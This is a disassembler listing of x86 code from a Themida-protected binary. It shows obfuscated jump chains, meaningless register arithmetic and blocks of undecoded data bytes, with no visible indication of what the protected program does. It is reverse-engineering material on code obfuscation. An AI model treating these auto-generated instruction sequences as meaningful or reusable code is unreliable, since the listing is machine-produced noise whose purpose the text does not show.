		dd 24148B12h, 504C483h,	2, 8B240487h, 41E92424h, 56FFFF67h
		dd 11383168h, 0DEF75E1Bh, 0E4A3F681h, 0F589F3AFh, 4A15E95Eh
		dd 0F1800000h, 80C9FE68h, 0C9FE9FC9h, 0FFDD04E9h, 243C87FFh
		dd 240C875Ch, 0E924248Bh, 0FFFFB9C2h, 53CFED81h, 0E955AF40h
		dd 0FFFFADD0h, 0B951E589h, 4, 0C8BCD01h, 4C48324h, 6802C583h
		dd 270Bh, 0E9240C89h, 0FFFFB2C7h, 9D1C77FFh, 24041158h
		dd 1AACE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D52:				; CODE XREF: Themida_:0055632Dj
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	15B0h
		mov	[esp], edx
		push	edi
		mov	edi, 1
		push	ebx
		mov	ebx, edi
		jmp	loc_55CC2A
; ---------------------------------------------------------------------------

loc_560D75:				; CODE XREF: Themida_:00562809j
		mov	esp, [esp]
		jmp	loc_558A91
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 9FC2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D8A:				; CODE XREF: Themida_:005566E4j
		inc	al
		jmp	loc_552B85
; ---------------------------------------------------------------------------
		db 1, 0D8h, 57h
		dd 0FFF0A8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560D99:				; CODE XREF: Themida_:005673FAj
		sub	eax, 43FB4B48h
		jmp	loc_55D445
; ---------------------------------------------------------------------------
		db 81h
		dd 104728EBh, 240C8B6Fh, 8104C483h, 0A642BBC3h,	148B6608h
		dd 4EC8124h, 89000000h,	93E92404h, 0D1FFFFE5h, 9CBA52EEh
		dd 817E7C54h, 44F05DEAh, 5AD629E2h, 62E7E9h
		db 0
; ---------------------------------------------------------------------------

loc_560DDD:				; CODE XREF: Themida_:00558BDFj
		inc	ebx
		push	edx
		mov	edx, 1C941011h
		jmp	loc_56242B
; ---------------------------------------------------------------------------

loc_560DE9:				; CODE XREF: Themida_:00561246j
		not	dword ptr [esp]
		jmp	loc_55E522
; ---------------------------------------------------------------------------

loc_560DF1:				; CODE XREF: Themida_:00564D00j
		mov	[esp], ebx
		mov	edi, [esp]
		add	esp, 4
		push	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_560A23
; ---------------------------------------------------------------------------
		dd 0B8240489h, 433E5A0Dh, 1E88348h, 3E5A0935h, 4EC8343h
		dd 0E9240C89h, 0FFFFD5E4h
; ---------------------------------------------------------------------------

loc_560E28:				; CODE XREF: Themida_:005617C9j
		add	eax, 33B962E0h
		or	eax, 13A3362Ah
		not	eax
		sub	eax, 0CBC725Ch
		sub	eax, 0D9D9DDD3h
		jmp	loc_565E5C
; ---------------------------------------------------------------------------

loc_560E43:				; CODE XREF: Themida_:0055CF6Bj
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5640B8
; ---------------------------------------------------------------------------
		db 89h
		dd 0B6E9240Ch, 81FFFFA8h, 57A92434h, 0E95A7779h, 0FFFFBC87h
		dd 83242C8Bh, 0D00104C4h, 47CEE9h
		db 0
; ---------------------------------------------------------------------------

loc_560E79:				; CODE XREF: Themida_:005654A7j
		add	ebx, 56A04BA9h
		jmp	loc_552E0E
; ---------------------------------------------------------------------------
		dd 2C19045Bh, 4E8006Bh,	5153666Bh, 0EB8819B5h, 1FB5E9h
		dd 5E5C100h, 7D18F581h,	0C5814992h, 0B15DFA89h,	0DAE9EE89h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560EAF:				; CODE XREF: Themida_:0055D93Aj
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_55AC2A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 9B9DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560EEA:				; CODE XREF: Themida_:0056173Ej
		add	esp, 4
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55B412
; ---------------------------------------------------------------------------

loc_560F04:				; CODE XREF: Themida_:005603CAj
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF6A9CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560F11:				; CODE XREF: Themida_:00558C76j
		add	ebp, 1A6A0DD0h
		jmp	loc_563300
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 81DEF700h, 0E05924C6h, 5EF28936h, 815AD689h
		dd 0D520F8F6h, 5EF5890Fh, 15DEA89h, 5D88E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560F46:				; CODE XREF: Themida_:0055E2C8j
		xor	ebx, ebp
		jmp	loc_557CC4
; ---------------------------------------------------------------------------
		dd offset dword_591B68
		align 2
		dw 0EC83h
		dd 2FABE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560F5A:				; CODE XREF: Themida_:0055C351j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	5D0Dh
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56097A
; ---------------------------------------------------------------------------
		dd 0C783D7F7h, 0CEEF8101h, 31DE5A44h, 0E9815FF9h, 1, 0C992E981h
		dd 0ED8143E1h, 511152FCh, 0BF57CD01h, 511152FCh, 0CE9FD01h
		dd 8B000064h, 0F7662424h, 24E953E1h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560FCB:				; CODE XREF: Themida_:005644A3j
		pop	ecx
		mov	bl, 9Dh
		jmp	loc_556206
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF1826h, 0E92C77FFh, 0FFFF6DE6h, 35FCBF57h, 0D7F71D68h
		dd 8107EFC1h, 0B61606E7h, 5EFC157h, 0FFEE96E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560FF9:				; CODE XREF: Themida_:00555621j
		neg	ebx
		xor	ebx, 0D4B48E3h
		jmp	loc_559C77
; ---------------------------------------------------------------------------
		dw 9E35h
		dd 0E95AC4D7h, 6BF6h
; ---------------------------------------------------------------------------

loc_561010:				; CODE XREF: Themida_:005576DFj
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_558F46
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0E924248Bh, 0FFFFA60Ch, 0C44377BEh, 4EC810Fh, 0E9000000h
		dd 0FFFF5081h
; ---------------------------------------------------------------------------

loc_56103C:				; CODE XREF: Themida_:00561AF8j
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	66CCh
		jmp	loc_55EBFB
; ---------------------------------------------------------------------------
		dd 6A64C781h, 0C681D959h, 3CC4193Dh, 0EE81FE01h, 3CC4193Dh
		dd 83243C8Bh, 0EE8304C4h, 55586804h, 34890000h,	2474FF24h
		dd 2434FF04h, 0FF2CCFE9h, 0EA81FFh, 8B7A420Ah, 0C481241Ch
		dd 4, 8904EC83h, 74FF2414h, 8F5A0424h, 895C2404h, 9C502414h
		dd 0FF1759E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5610A5:				; CODE XREF: Themida_:00559B29j
		mov	al, bl
		jmp	loc_5614B3
; ---------------------------------------------------------------------------
		dd 29C0C581h, 0BE5618C4h, 982DB3F3h, 525EF529h,	230DFABAh
		dd 5AD0015Dh, 0E952E829h, 0FFFF54E0h, 30FF665Ah, 0FF1729E9h
		dd 0F0285AFFh, 0FF1BBBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5610DD:				; CODE XREF: Themida_:005667F2j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55608B
; ---------------------------------------------------------------------------
		dd offset dword_457444+44924h
		align 4
		dd 0E9240489h, 5263h, 83241C8Bh, 55E904C4h, 8BFFFF91h
		dd 28E9240Ch
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561107:				; CODE XREF: Themida_:0055FCE9j
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_556A1A
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 6978F381h, 24E991A1h, 8BFFFF55h, 0C481240Ch,	4, 0E92434FFh
		dd 0FFFFEF43h, 4C281h, 0FF520000h, 5A042474h, 8B24048Fh
		dd 4292424h, 0B3E99C24h, 68FFFF16h, 57381927h, 4E3C15Bh
		dd 0FFA9E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561159:				; CODE XREF: Themida_:00554953j
		pop	edi
		push	41C4h
		mov	[esp], ecx
		jmp	loc_55939D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4AE9240Ch
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56116F:				; CODE XREF: Themida_:0055531Aj
		push	458Fh
		mov	[esp], ebp
		push	ecx
		mov	ecx, 0B613AD0h
		shr	ecx, 2
		push	ebp
		mov	ebp, 2DE36AB7h
		shl	ebp, 5
		xor	ebp, 0C26714EFh
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, 7FC84514h
		shl	ecx, 1
		add	ecx, 1F2128E1h
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_5547BF
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 4EC8104h, 89000000h,	26E9240Ch, 58FFFF40h, 4EC8350h
		dd 0FF5047E9h, 0FBDBAFFh, 0D5891119h, 8745BE5Ah, 65E978D8h
		dd 0C1FFFFF8h, 565005E5h, 841CC6BEh, 3939E942h,	0BF570000h
		dd 6FB4C5Eh, 0FF87EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56120D:				; CODE XREF: Themida_:005612D9j
		pop	ebx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_559DA9
; ---------------------------------------------------------------------------
		db 0BDh
		dd 43152E7Eh, 0C581DDF7h, 81E08615h, 1D5E9h, 8DBB5300h
		dd 0E9270BEFh, 5D0Ah
; ---------------------------------------------------------------------------

loc_561238:				; CODE XREF: Themida_:0055430Aj
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_560DE9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 2C28100h, 87000000h, 0E95C2414h, 0FFFF184Eh, 0E9E38953h
		dd 0FFFF1B3Bh
; ---------------------------------------------------------------------------

loc_561268:				; CODE XREF: Themida_:00566A80j
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		pop	eax
		jmp	loc_5630D3
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8702C5h, 9665C24h,	0E99C2404h, 0FFFF157Ah,	24048B66h
		dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFFF701h
; ---------------------------------------------------------------------------

loc_561298:				; CODE XREF: Themida_:0055EE07j
		mov	cx, [esp]
		add	esp, 2
		push	5AC4h
		jmp	loc_5674DB
; ---------------------------------------------------------------------------
		dd 3B49E943h, 0FE89FFFFh, 0FF8F1BE9h, 0CF815BFFh, 2B7A6770h
		dd 5F29BE56h, 0F7314691h, 38EF815Eh, 0E9557799h, 0FFFF6B15h
; ---------------------------------------------------------------------------

loc_5612D4:				; CODE XREF: Themida_:00559B4Aj
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56120D
; ---------------------------------------------------------------------------
		dw 0EA83h
		dd 24148704h, 2404895Ch, 0FFF27BE9h, 68FFh, 0C290000h
		dd 9A685924h, 8900004Ah, 38E9241Ch
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561303:				; CODE XREF: Themida_:00558C7Ej
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 69BA38C1h
		or	ecx, 13836AE0h
		sub	ecx, 1AEF099Dh
		sub	ecx, 1
		sub	ecx, 60CC713Fh
		add	edi, ecx
		jmp	loc_560906
; ---------------------------------------------------------------------------

loc_561332:				; CODE XREF: Themida_:0055CADEj
		mov	[esp], edi
		jmp	loc_564DE5
; ---------------------------------------------------------------------------
		dw 0D101h
aZl4Sgk		db 'Z‹4$éGK',0
		dd 4EC8100h, 0E9000000h, 0FFFF3C23h
; ---------------------------------------------------------------------------

loc_561350:				; CODE XREF: Themida_:00567C21j
		sub	al, 0B7h
		jmp	loc_558C1D
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 6CBFE924h, 0D028FFFFh, 5266ED2Ch,	0D1E966B6h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56136F:				; CODE XREF: Themida_:0055C498j
		push	39FCh
		mov	[esp], eax
		push	ebx
		mov	bh, cl
		jmp	loc_560082
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68300h, 0E9243487h, 1FA3h
; ---------------------------------------------------------------------------

loc_561390:				; CODE XREF: Themida_:00556211j
		xor	bl, 3
		xor	bl, al
		pop	eax
		and	ch, bl
		jmp	loc_562173
; ---------------------------------------------------------------------------

loc_56139D:				; CODE XREF: Themida_:0055794Dj
		mov	ebx, 6C5C2F81h
		inc	ebx
		add	ebx, 1ACC779Ah
		add	ebx, 0B336541h
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		neg	ebx
		jmp	loc_5529B6
; ---------------------------------------------------------------------------
		dd 0FF143DE9h, 0EEE9ADFFh, 6600001Ah, 5624048Bh, 5B4BE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5613D2:				; CODE XREF: Themida_:00565525j
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 211A6DEAh
		add	edi, eax
		add	edi, 211A6DEAh
		pop	eax
		sub	edx, edi
		pop	edi
		jmp	loc_55B758
; ---------------------------------------------------------------------------
		db 81h
		dd 7B554BCAh, 81E2D127h, 0FFFFFFC2h, 7840E9FFh,	0EB01FFFFh
		dd 5BD8895Dh, 9FE9C101h, 0F7FFFF24h, 0B85043D3h, 3DF25BC2h
		dd 48BC309h, 4C48324h, 6651CB81h, 0F3816AF3h, 0CDC4C8C5h
		dd 3631C381h, 57E9FCBAh, 5D00003Dh, 515C292Dh, 0E9D8014Eh
		dd 0FFFFE724h, 9CEA815Fh, 0E964BD07h, 5DFDh, 57241489h
		dd 0C781E789h, 4, 82F6E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561462:				; CODE XREF: Themida_:005535FFj
		pop	esp
		pop	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 505116E0h
		jmp	loc_553A03
; ---------------------------------------------------------------------------

loc_56147C:				; CODE XREF: Themida_:00562F29j
		mov	esi, 1C60752Ah
		jmp	loc_567BA8
; ---------------------------------------------------------------------------
		dw 8104h
		dd 81241C8Bh, 4C4h, 2CD82800h, 2EC83C3h, 240C8966h, 4EC8352h
		dd 0FF4859E9h, 0D1F791FFh, 5E8C191h, 57E95755h
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5614B3:				; CODE XREF: Themida_:005610A7j
		mov	dh, al
		pop	eax
		mov	ah, dh
		pop	edx
		pop	ebx
		jmp	loc_55FA70
; ---------------------------------------------------------------------------
		db 87h
		dd 0E9D5F7E9h, 0FFFF9185h, 68240C89h, 2, 0FF3492E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5614D5:				; CODE XREF: Themida_:00560251j
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		push	2DF2h
		jmp	loc_55D6BC
; ---------------------------------------------------------------------------
		db 52h,	0F7h, 14h
		dd 0E2C15A24h, 1566E905h, 0FA01FFFFh, 4A52EA81h, 0EA8146DAh
		dd 7FEC0FC4h, 0E1BD555Fh, 45732E70h, 0DB2C581h,	0FE929E2h
		dd 68000005h, 34F1h, 50243C89h,	6E55CF68h, 0DC055830h
		dd 0C1478532h, 273505E0h, 2D3D0856h, 4961F3C5h,	34FFC789h
		dd 0FEE95824h, 68FFFF7Fh, 796E4046h, 309DE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56154E:				; CODE XREF: Themida_:0055CF80j
		sub	ebx, 29630A12h
		xor	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	51A6h
		mov	[esp], edx
		jmp	loc_5538F4
; ---------------------------------------------------------------------------
		db 4Ah,	0E9h, 0CEh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561573:				; CODE XREF: Themida_:0055E95Fj
		add	esp, 4
		add	ebx, esi
		pop	esi
		shr	ebx, 4
		add	ebx, 0F4F1D40Ah
		push	edi
		mov	edi, ebx
		mov	esi, edi
		jmp	loc_55C503
; ---------------------------------------------------------------------------

loc_56158F:				; CODE XREF: Themida_:005572F7j
		mov	ecx, esp
		push	edi
		mov	edi, 5B820C9h
		jmp	loc_55C4D2
; ---------------------------------------------------------------------------
		dd 89C78147h, 0F7362F68h, 0D3F781DFh, 2DBCF42Ch, 3EC900D4h
		dd 233BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5615B5:				; CODE XREF: Themida_:0055BF2Cj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_554800
; ---------------------------------------------------------------------------
		dw 3BE9h
		dd 0BFFFFF12h, 0FFFFFFFFh, 0FFBB06E9h, 0CF8853FFh, 34E9h
		dd 81C78100h, 5560146Eh, 1C3AFCBDh, 5DEF0136h, 0BA52CF01h
		dd 4C744E2Ah, 132EEA81h, 0CCE91658h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5615F7:				; CODE XREF: Themida_:00553026j
		push	dword ptr [esp]
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_559704
; ---------------------------------------------------------------------------
		db 52h,	88h, 0FEh
		dd 0FF2E76E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561611:				; CODE XREF: Themida_:005564E5j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 19AC7487h
		sub	ebx, 65FA78C6h
		add	ebx, ebp
		add	ebx, 65FA78C6h
		sub	ebx, 19AC7487h
		pop	ebp
		jmp	loc_564054
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 3682414h, 89000065h,	0BB532424h, 4, 4245C01h, 0FF1EA1E9h
		dd 48B66FFh, 42F26824h,	2C890000h, 565D5424h, 0ED7196BEh
		dd 129BE922h, 0F7010000h, 0BE1E95Eh, 0B8500000h, 3C070540h
		dd 2508E0C1h, 4522076Bh, 0FFFFFC2Dh, 58C50104h,	547968h
		dd 241C8900h, 3B9BB951h, 0C1815593h, 0AA6CC469h, 8159CB89h
		dd 0BD1270C5h, 81DD0111h, 0BD1270EDh, 2C875B11h, 24248B24h
		dd 4EC8350h, 83242489h,	0E9042404h, 0FFFF24E0h,	100C03BAh
		dd 5AD72902h, 0FF2A0FE9h, 4EC83FFh, 0BD242C89h,	242448CAh
		dd 156C68h, 241C8900h, 106468h,	55CCE900h, 0C9B9FFFFh
		dd 890E1D1Ch, 822BE9CFh, 8F64FFFFh, 10F8E902h, 2C89FFFFh
		dd 184EBD24h, 0C5815F3Dh, 1A6217D4h, 0FFFADAE9h, 72F281FFh
		dd 897BF165h, 70E95AD1h, 50FFFF14h, 405E089h, 0E9000000h
		dd 0FFFFA572h
; ---------------------------------------------------------------------------

loc_561734:				; CODE XREF: Themida_:005624AEj
		sub	eax, ebp
		sub	eax, 4C17EB6h
		mov	ebp, [esp]
		jmp	loc_560EEA
; ---------------------------------------------------------------------------

loc_561743:				; CODE XREF: Themida_:005586A8j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5620F0
; ---------------------------------------------------------------------------
		dw 2D5Bh
		dd 4CD40E6Eh, 6E05C801h, 8B4CD40Eh, 5452240Ch, 4C2815Ah
		dd 83000000h, 0FF5204C2h, 0E9042474h, 0FFFF980Eh
; ---------------------------------------------------------------------------

loc_561774:				; CODE XREF: Themida_:005534C2j
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55FA18
; ---------------------------------------------------------------------------
		db 59h,	55h, 0BDh
		dd 4, 0E95DEB29h, 0FFFFA08Ah, 6624248Bh, 55240C8Bh, 0E904EC83h
		dd 0FFFF249Bh
; ---------------------------------------------------------------------------

loc_5617A8:				; CODE XREF: Themida_:0055BBC3j
		mov	ebp, 4A7D7581h
		shl	ebp, 4
		dec	ebp
		not	ebp
		sub	ebp, 0FFFFFFFFh
		add	ebp, 2235CD9h
		or	esi, ebp
		pop	ebp
		push	edi
		push	eax
		mov	eax, 508C66B1h
		jmp	loc_560E28
; ---------------------------------------------------------------------------

loc_5617CE:				; CODE XREF: Themida_:0055F32Cj
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_552B49
; ---------------------------------------------------------------------------

loc_5617E0:				; CODE XREF: Themida_:0055934Aj
		mov	ebx, 4
		sub	edi, 46592CC4h
		add	edi, ebx
		add	edi, 46592CC4h
		jmp	loc_564070
; ---------------------------------------------------------------------------
		dd 0AAE9DE01h, 29000022h, 24148BD0h, 5304C483h,	91724FBBh
		dd 0D8BF576Fh, 83725E35h, 0F78101EFh, 873E939Ch, 0E95FFB01h
		dd 0FFFF4F97h, 2EA81h, 14330000h, 24143124h, 8B241433h
		dd 89662424h, 0BFE9240Ch, 0BAFFFF0Fh, 4, 1423E9h, 3EE98100h
		dd 0E9585E4Dh, 0FFFF433Bh, 0DE30FCB3h, 0F3885B66h, 0FF1AF2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561861:				; CODE XREF: Themida_:00565E7Aj
		mov	al, cl
		pop	ecx
		add	al, 92h
		shr	al, 3
		push	edx
		mov	dl, 7Ah
		jmp	loc_555FC5
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
aPg@sR		db 'G@é`R',0
		align 4

loc_56187C:				; CODE XREF: Themida_:00563234j
		add	bl, dl
		pop	edx
		push	5C8h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		sub	ecx, 6C9F3B1Ah
		add	ecx, ebx
		add	ecx, 6C9F3B1Ah
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	cl, 0F7h
		not	cl
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 3Dh
		sub	cl, 5Eh
		sub	cl, dh
		add	cl, 5Eh
		mov	edx, [esp]
		jmp	loc_55D167
; ---------------------------------------------------------------------------
		dw 459h
		dd 2CE82826h, 141DE926h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5618DA:				; CODE XREF: Themida_:00563DBFj
		push	eax
		mov	eax, edi
		mov	ecx, eax
		pop	eax
		pop	edi
		jmp	loc_5619B1
; ---------------------------------------------------------------------------
aXvspu		db 'XVépU',0
		dd 66E1F600h, 66CCB60Fh, 660E8768h, 66240C89h, 66C8B60Fh
		dd 0F7E99C51h
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561907:				; CODE XREF: Themida_:0055E14Cj
		add	ebp, 928956FCh
		add	ebx, ebp
		pop	ebp
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 7B367125h
		jmp	loc_558D3A
; ---------------------------------------------------------------------------
		dd 0E9240433h, 0FFFF92CBh, 3911E95Bh, 835FFFFFh, 0CAE904C4h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561953:				; CODE XREF: Themida_:0056088Dj
		mov	ebp, 1DFA020Fh
		add	[esp+4], ebp
		pop	ebp
		add	dword ptr [esp], 5F291A78h
		sub	[esp], eax
		sub	dword ptr [esp], 5F291A78h
		push	ebp
		mov	ebp, 1DFA020Fh
		add	dword ptr [esp+4], 542F551Eh
		sub	[esp+4], ebp
		push	edi
		jmp	loc_55D692
; ---------------------------------------------------------------------------

loc_561986:				; CODE XREF: Themida_:00553FE4j
		push	edx
		mov	edx, 64686303h
		shl	edx, 4
		jmp	loc_563AE7
; ---------------------------------------------------------------------------
		dd 77EF8059h, 80FCC280h, 0FA28B4C2h, 5E77E9h, 35D8B800h
		dd 5748541Ch, 0FFFC12E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5619B1:				; CODE XREF: Themida_:005618E1j
		sub	esi, ecx
		pop	ecx
		push	ecx
		push	esi
		add	dword ptr [esp], 4353D67h
		jmp	loc_55DE22
; ---------------------------------------------------------------------------

loc_5619C2:				; CODE XREF: Themida_:00563F35j
		mov	ecx, 34453D75h
		shr	ecx, 4
		shr	ecx, 6
		jmp	loc_55CB09
; ---------------------------------------------------------------------------

loc_5619D2:				; CODE XREF: Themida_:00564E53j
		push	ebp
		mov	ebp, 515B428Ch
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55E2AC
; ---------------------------------------------------------------------------
		dd 0EF243481h, 58454540h, 4540EF35h, 0C5015945h, 242C3358h
		dd 0E9242C31h, 0FFFF9171h
; ---------------------------------------------------------------------------

loc_561A04:				; CODE XREF: Themida_:005553C8j
		push	ecx
		jmp	loc_566745
; ---------------------------------------------------------------------------
		dw 565Ch
		dd 2BEh, 5EF12900h, 0E9240C33h,	0FFFFF93Bh, 1D5180BEh
		dd 4E95E976h, 0EA31FFFFh, 730E95Dh, 4CBD0000h, 0F70F2677h
		dd 2C45E9DDh, 34FF0000h, 83535824h, 248904ECh, 4209E924h
		dd 0ED800000h, 0B86E956h, 0F7290000h, 8124348Bh, 4C4h
		dd 81EB8100h, 145C767h,	81C381FBh, 5F45C767h, 0BA52h, 0DA010000h
		dd 2462E953h, 0D5310000h, 6CC1815Ah, 2933040Ah,	0BA4FE9E9h
		dd 0CF25FFFFh, 2D274931h, 58B71963h, 0FF23A3E9h, 68E589FFh
		dd 65D0h, 0E9240489h, 0FFFF3743h, 0FDE9D1F7h, 0C1000039h
		dd 0EA8102E2h, 6E871F4Bh, 34FFD689h, 0E9525A24h, 0FFFF9B36h
		dd 4BEh, 42E98100h, 12A2643h, 42C181F1h, 0FF2A2643h, 815E2434h
		dd 4C4h, 240C3300h, 0E9240C31h,	27A6h
; ---------------------------------------------------------------------------

loc_561AEC:				; CODE XREF: Themida_:00556A7Ej
		add	esp, 4
		add	ebp, 323161Eh
		jmp	loc_56103C
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 2Dh
		dd 0E949181Bh, 0FFFF18B3h
; ---------------------------------------------------------------------------

loc_561B08:				; CODE XREF: Themida_:00558070j
		mov	[esp], edi
		mov	edi, 63A53CADh
		neg	edi
		push	6263h
		mov	[esp], edi
		push	edx
		pop	edi
		pop	edx
		sub	edx, 1
		xchg	edx, edi
		shr	edi, 1
		or	edi, 4CB40D21h
		jmp	loc_5679C5
; ---------------------------------------------------------------------------
		db 5Fh
		dd 1E60E9h, 24048300h, 53505904h, 2893E9h
		db 0
; ---------------------------------------------------------------------------

loc_561B41:				; CODE XREF: Themida_:00564CDEj
		sub	edi, 12D87381h
		jmp	loc_552B7D
; ---------------------------------------------------------------------------
		dd 0E99C5066h, 0FFFF0CAAh, 8904EC83h, 13BD242Ch, 315B559Eh
		dd 71BAE9E9h, 0E3C1FFFFh, 0FAF38105h, 1495C55h,	2E6EE9DAh
		dd 0E9500000h, 5A53h
; ---------------------------------------------------------------------------

loc_561B7C:				; CODE XREF: Themida_:00561B93j
		mov	eax, 4
		push	edi
		mov	edi, 5C323D97h
		sub	edx, edi
		pop	edi
		add	edx, eax
		push	eax
		jmp	loc_554B94
; ---------------------------------------------------------------------------

loc_561B92:				; CODE XREF: Themida_:00556DBEj
		push	eax
		jmp	loc_561B7C
; ---------------------------------------------------------------------------
		dd 0EF81DF01h, 4C4824C9h, 0FFEFE8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561BA5:				; CODE XREF: Themida_:00566094j
		xchg	eax, [esp]
		pop	esp
		push	0C63h
		mov	[esp], esi
		mov	esi, 1
		add	eax, esi
		jmp	loc_553871
; ---------------------------------------------------------------------------

loc_561BBD:				; CODE XREF: Themida_:0055AA6Dj
		push	ebx
		mov	bh, 25h
		or	bh, 0D5h
		xor	bh, 88h
		mov	al, bh
		pop	ebx
		push	ecx
		mov	ch, 32h
		sub	ch, 0E3h
		jmp	loc_56346D
; ---------------------------------------------------------------------------

loc_561BD4:				; CODE XREF: Themida_:00558C1Fj
		add	al, 0B7h
		sub	al, 0C2h
		mov	ebx, [esp]
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	edi, 14FD1C9Ah
		add	edi, edx
		sub	edi, 14FD1C9Ah
		pop	edx
		add	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
